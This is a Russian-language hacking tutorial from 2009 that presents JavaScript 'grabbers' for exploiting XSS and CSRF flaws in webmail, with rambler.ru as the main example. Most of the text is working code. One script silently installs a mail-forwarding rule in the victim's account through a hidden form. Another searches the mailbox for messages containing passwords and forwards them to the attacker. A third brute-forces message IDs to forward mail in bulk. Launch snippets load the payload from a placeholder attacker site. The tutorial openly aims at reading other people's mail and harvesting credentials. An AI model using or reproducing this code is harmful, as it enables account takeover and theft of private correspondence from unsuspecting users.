Грабберы почтовых сообщений на JavaScript
актуализировано
на 25.11.2009
Введение
Статья адресована тем, кто уже в курсе того, что представляет собой атака класса XSS, и имеет первоначальные знания о программировании на яваскрипте. Отправным моментом для использования грабберов является ваше знание об активных или пассивных уязвимостях на почтовых сервисах. Их конкретные примеры не будут приведены в настоящей статье. Граббер - это, образно выражаясь, "надстройка" над уязвимостью XSS, то есть один из самых мощных инструментов ее эксплуатации. Я постараюсь подробно изложить все принципы работы представленных в данной статье примеров скриптов, основной задачей которых является пересылка тем или иным образом сообщений на ваш ящик (далее - сборщики почты).
Зачем нужен сборщик почты?
Граббер предназначен для более легкого и незаметного, а также надежного взлома. Вероятность встретить юзера, который задумается, прежде чем ввести пароль в ваш фейк, даже если это грамотный фейк, уже не так мала. Тем более, что не так мало людей уже имеют негативный опыт встреч с хек-сообществом. Мде....
Очень часто, можно встретить в п/ящиках следы работы твоих предшественников: "письма счастья" от админов, "картинки" с расширением ".scr", ссылки на сайты с интересным содержимым. И долбят, и долбят бедного юзера со всех сторон! Неудивительно, что у некоторых из них вырабатывается вредная привычка думать до совершения каких-либо действий.
Хак-детство у многих полнится такими эпизодами: отправляет письмо -> ждет пришествия кук. Ждет, ждет и ждет... не отходя от компа (искл.: естественные надобности), так как они могут "протухнуть", и тогда все усилия на нет. Надо начинать заново. Непонятно, кто вообще жертва в такой ситуации. Сборщик почты позволяет заниматься другими делами. Почитаете чужую почту, когда вам будет удобно.
Также нередко в почтовом ящике оказываются письма с паролями от других сервисов. Этим письмам можно помочь там оказаться перед тем, как они дружно отправятся в ваш ящик или сниффер. Нередко эти пароли подходят и к самому п/я.
Почему на Яваскрипте?
Дело в том, что, скажем, на мейле можно устанавливать запрет сессий с разных IP и одновременных соединений. На рамблере также
бесполезен обычный код отправки кук на сниффер, поскольку в числе пришедших туда кук вы не обнаружите сессионной куки, так как она недоступна для яваскрипта через document.cookie (httponly). В таких случаях куки жертвы будут вам бесполезны. И вам, и сборщику почты на php (или на другом серверном языке), но не сборщику на яваскрипте, ведь все его действия выполняются браузером юзера.
Хотя объективности ради стоит отметить, что, с одной стороны, сборщик на пхп сработает в десять раз быстрее, с другой стороны, очень малое количество юзеров предпринимают повышенные меры безопасности в своем ящике. Но тем не менее такие встречаются, и к таким случаям нужно быть готовым.
В статье мною будут разобраны конкретные примеры сборщиков на почтовых сервисах mail.ru, rambler.ru и инклудер фильтра в почте yandex.ru.
RAMBLER.RU
Общая концепция
Интерфейс имеет возможность массовой пересылки, отметив большое количество сообщений, вы можете несколькими нажатиями отправить почту на другой ящик.
Но пересылать всю почту подряд не следует по двум причинам:
- Если вы попробуете переслать сообщение, определенное в качестве спама на рамблере, ящик будет заблокирован.
- Если сообщение, которое вы попытаетесь переслать, будет заблокровано спам-фильтром внешнего почтовика, то на ящик юзера придет отчет о невозможности доставки с вашим почтовым адресом.
Наш сборщик пересылает только регистрационные сообщения.
Самая примечательная черта рамблера в том, что он никогда не имел защиты от подмены запросов. Поэтому Я привожу здесь характеристики рамлеровского фильтра-пересыльщика, практически не меняя то, что было более двух лет назад.
Характеристика создания фильтра на рамблере:
1. Создается в один POST-запрос.
2. Реферрер не проверяется. А это значит, что его можно вовсю внедрять, даже не имея XSS, а просто пригласив авторизованного пользователя, куда угодно.
Итак, принцип работы сборщика следующий:
1. Внедрение фильтра.
2. Пересылка сообщений:
а) сбор названий всех папок,
б) поиск сообщений по первой маске в текущей папке,
в) отправка идентификаторов найденных сообщений на серверный пересыльщик (
bounce.cgi),
г) переход к следующей странице результатов поиска (если она имеется) и повторение г),
д) переход к следующей маске (если она имеется) и повторение б)-г),
e) отправка сбрасывающего результат поиска запроса (необходим),
ж) переход к следующей папке (если она имеется) и повторение б)-e).
1. Область объектов и глобальных переменных скрипта
Код:
/*/// --> :RamblerMail: <-- /////
///// --> :LeverOne. 11.2009: <-- /////
///// --> :Example: <-- /////
javascript:
with(window) toemail='mymail@xz.xz', forward=true
//, include=false %0A
;with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='http://yoursite.xz/ram_adv.js';
void(0);
///*/
include = window.include == false ? false : true;
toemail = window.toemail || false;
forward = window.forward || false;
mask = ['%D0%B0%D1%80%D0%BE%D0%BB%D1%8C%3A', 'assword%3A'];
var mask_index, folders, folders_index;
include && toemail ? include_filter() : (forward && toemail ? get_folders() : false);
Что вам нужно указать обязательно?
1. Свой почтовый ящик, куда будет установлена пересылка. (
toemail).
Необязательные настройки:
1. Внедрение фильтра (
include=true, по умолчанию включено).
2. Пересылка сообщений с рег. информацией (
forward=true , по умолчанию
выключена).
3. В качестве маски выбраны две подстроки : "
ароль:", "
assword:" в encodeURIComponent-кодировании.
Все необходимые параметры вы имеете возможность указывать непосредственно при запуске скрипта, не трогая исходный код. Пример запуска вы лицезреете в коде.
2. Универсальная функция запроса
С помощью этой функции работают почти все остальные. Имеет четыре параметра - метод и адрес запроса, пост-параметры и функция обработки ответа сервера.
Код:
function requester(method, url, postdata, func) {
try {r = new XMLHttpRequest()} catch(err) {r = new ActiveXObject('Msxml2.XMLHTTP')}
r.open(method, url);
if (method == 'POST') r.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
r.onreadystatechange = func;
r.send(postdata);
}
3. Внедрение фильтра
Еще раз обращу внимание: на текущий момент сработает, откуда угодно.
Код:
function include_filter() {
document.body.innerHTML += '<iframe style=display:none name=myfr><\/iframe>' +
'<form action=http://mail.rambler.ru/mail/rules.cgi method=post target=myfr id=myform>' +
'<input type=hidden name=mode value=rules>' +
'<input type=hidden name=rdr_enabled value=on>' +
'<input type=hidden name=redirect value=' + toemail + '>' +
'<input type=hidden name=rdr_keep_copy value=on>' +
'<input type=hidden name=rdr_preserve_hdr value=on>' +
'<input type=hidden name=save value=1><\/form>';
document.getElementById('myform').submit();
forward && toemail ? get_folders() : false;
}
4. Cбор названий папок
Код:
function get_folders() {
requester('GET', 'http://mail.rambler.ru/mail/mailboxes.cgi', null,
function() {
if (r.readyState == 4) {
folders = r.responseText.match (/<\/div><a href="mailbox.cgi\?mbox=.+?(?=%26)/gi);
for (n = 0; n < folders.length; n++) folders[n] = folders[n].substring(32);
search_ids(folders_index = 0, mask_index = 0);
}
}
);
}
5. Поиск и отправка сообщений на пересылку на первой странице текущей папки
Код:
function search_ids() {
requester('POST', 'http://mail.rambler.ru/mail/mailbox.cgi', 'mbox=' + folders[folders_index] + '&search=' + mask[mask_index],
function() {
if (r.readyState == 4) {
ids = r.responseText.match(/\d+(?=" class="checkbox)/gi) || '';
is_next_page = r.responseText.indexOf('"next-page-link"');
if (ids.length > 0)
requester('POST', 'http://mail.rambler.ru/mail/bounce.cgi',
'&mbox=' + folders[folders_index] + '&msgs=' + encodeURIComponent('' + ids) + '&to=' + encodeURIComponent(toemail) + '&Send=1', null
);
if (is_next_page != -1) get_next_page(2);
else if (mask[++mask_index]) search_ids();
else if (folders[++folders_index]) {
requester('GET', 'http://mail.rambler.ru/mail/mailbox.cgi?mbox=' + folders[folders_index - 1] + '&search=', null, null);
search_ids(mask_index = 0);
} else
requester('GET', 'http://mail.rambler.ru/mail/mailbox.cgi?mbox=' + folders[folders.length - 1] + '&search=', null, null);
}
}
);
}
6. Отправка сообщений на пересылку на последующих страницах текущей папки
Если результаты поиска сообщений будут расположены на нескольких страницах, заработает эта функция.
Код:
function get_next_page(page) {
requester('GET', 'http://mail.rambler.ru/mail/mailbox.cgi?mbox=' + folders[folders_index] + '&page=' + page, null,
function() {
if (r.readyState == 4) {
ids = r.responseText.match(/\d+(?=" class="checkbox)/gi);
is_next_page = r.responseText.indexOf('"next-page-link"');
requester('POST', 'http://mail.rambler.ru/mail/bounce.cgi',
'&mbox=' + folders[folders_index] + '&msgs=' + encodeURIComponent('' + ids) + '&to=' + encodeURIComponent(toemail) + '&Send=1', null
);
if (is_next_page != -1) get_next_page(++page);
else if (mask[++mask_index]) search_ids();
else if (folders[++folders_index]) {
requester('GET', 'http://mail.rambler.ru/mail/mailbox.cgi?mbox=' + folders[folders_index - 1] + '&search=', null, null);
search_ids(mask_index = 0);
} else
requester('GET', 'http://mail.rambler.ru/mail/mailbox.cgi?mbox=' + folders[folders.length - 1] + '&search=', null, null);
}
}
);
}
7. Эффекты работы скрипта
- Во время исполнения: никаких.
- После: если включено внедрения фильтра, в соответствующей странице с настройками будет виден фильтр.
Статус сообщений не меняется.
JS-брутфорс почтовых сообщений на rambler.ru
— Семачка, семачка, лушпайки сами сплевываются, семачка, семачка!
— За что семачка?
— За пять.
— Это больно.
Работа данного брутфрса - это примерно также больно. Хотя сам по себе он - вещь примечательная тем, что
может работать без XSS с любого домена, лишь бы пользователь рамблера был авторизован.
Поскольку все запросы делаются через формы, браузер будет показывать, что он что-то загружает, пока выполняется перебор.
Принцип действия:
1. Внедрение фильтра.
2. Слепая отправка сообщений в заданном интервале (
range=[nachalo, konchalo], по умолчанию
range=[1,50] , - будут отправлены первые 50 сообщений в каждой папке). Слепая отправка плоха тем, что как только серверный пересыльщик встречает порядковый номер письма, которое не существует, дальнейшая пересылка сообщений в очереди прекращается. Отсутствие письма может быть вызвано его удалением. Поэтому могут прийти не все сообщения из выбранного диапазона. Её плюс очевиден - все происходит одномоментно. Эдакая ставка на фарт.
3. Брутфорс. Из выбранного диапазона скрипт пробует отправить каждое письмо в отдельности.
4. Скрипт записывает данные об отправленном иде сообщения в куку (сохраняющуюся 30 дней), поэтому в следующий раз в том же домене он начнет перебирать с последнего отправленого сообщения.
Настройки:
1.
toemail - ваш ящик (обязательно).
2.
include - внедрение фильтра (по умолчанию включено);
2.
forward - слепая пересылка (по умолчанию
включена).
3.
brute - перебор сообщений по отдельности (по умолчанию выключен).
4.
range - интервал.
И помните, использование перебора сообщений по отдельности не рекомендуется по многим уже названным причинам.
Код:
/*/// --> :RamblerMail MessageBruteforce: <-- /////
///// --> :LeverOne. 11.2009: <-- /////
///// --> :Example: <-- /////
javascript:
with(window) toemail='mymail@xz.xz'
//, forward=false , include=false, range=[1:50], brute=false %0A
;with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='http://yoursite.xz/ram_brute.js';
void(0);
///*/
toemail = window.toemail || false;
include = window.include == false ? false : true;
brute = window.brute == false ? false : true;
forward = window.forward == false ? false : true;
with (valid_until = new Date()) setTime(getTime()+30*24*60*60*1000);
var folders_index, ids;
min_message = window.range ? window.range[0] : 1;
max_message = window.range ? window.range[1] : 50;
folders = [['SentBox', +document.cookie.match(/\d+(?=,SentBox)/) || min_message, max_message].reverse(),
['INBOX', +document.cookie.match(/\d+(?=,INBOX)/) || min_message, max_message].reverse(),
['Trash', +document.cookie.match(/\d+(?=,Trash)/) || min_message, max_message].reverse(),
['DraftBox', +document.cookie.match(/\d+(?=,DraftBox)/) || min_message, max_message].reverse()
];
document.body.innerHTML += '<iframe style=display:none name=myfr1><\/iframe>' +
'<form action=http://mail.rambler.ru/mail/bounce.cgi method=post target=myfr1 id=myform1>' +
'<input type=hidden name=mbox>' +
'<input type=hidden name=msgs>' +
'<input type=hidden name=to value=' + toemail + '>' +
'<input type=hidden name=Send value=1><\/form>';
include && toemail ? include_filter() : (forward && toemail ? send_all_ids(get_ids(folders_index = 0)) : false);
function include_filter() {
document.body.innerHTML += '<iframe style=display:none name=myfr2><\/iframe>' +
'<form action=http://mail.rambler.ru/mail/rules.cgi method=post target=myfr2 id=myform2>' +
'<input type=hidden name=mode value=rules>' +
'<input type=hidden name=rdr_enabled value=on>' +
'<input type=hidden name=redirect value=' + toemail + '>' +
'<input type=hidden name=rdr_keep_copy value=on>' +
'<input type=hidden name=rdr_preserve_hdr value=on>' +
'<input type=hidden name=save value=1><\/form>';
document.getElementById('myform2').submit();
forward && toemail ? send_all_ids(get_ids(folders_index = 0)) : false;
}
function get_ids() {
for (ids = [] , max = folders[folders_index][0]; folders[folders_index][1] <= max ; ids.push(max--));
}
function send_all_ids() {
if (ids.length > 0) {
with (document.getElementById('myform1'))
submit(mbox.value = folders[folders_index][2], msgs.value = '' + ids.reverse());
setTimeout('if (folders[++folders_index]) send_all_ids(get_ids()); else if (brute) send_ids(get_ids(folders_index = 0))', 1000);
} else if (folders[++folders_index])
send_all_ids(get_ids());
else if (brute)
send_ids(get_ids(folders_index = 0));
}
function send_ids() {
if (ids.length > 0) {
with (document.getElementById('myform1'))
submit(mbox.value = folders[folders_index][2], msgs.value = folders[folders_index][1] = ids.pop());
document.cookie = 'control=' + folders +'; expires=' + valid_until.toGMTString();
setTimeout('send_ids()', 1000);
} else if (folders[++folders_index])
send_ids(get_ids());
}
==>>>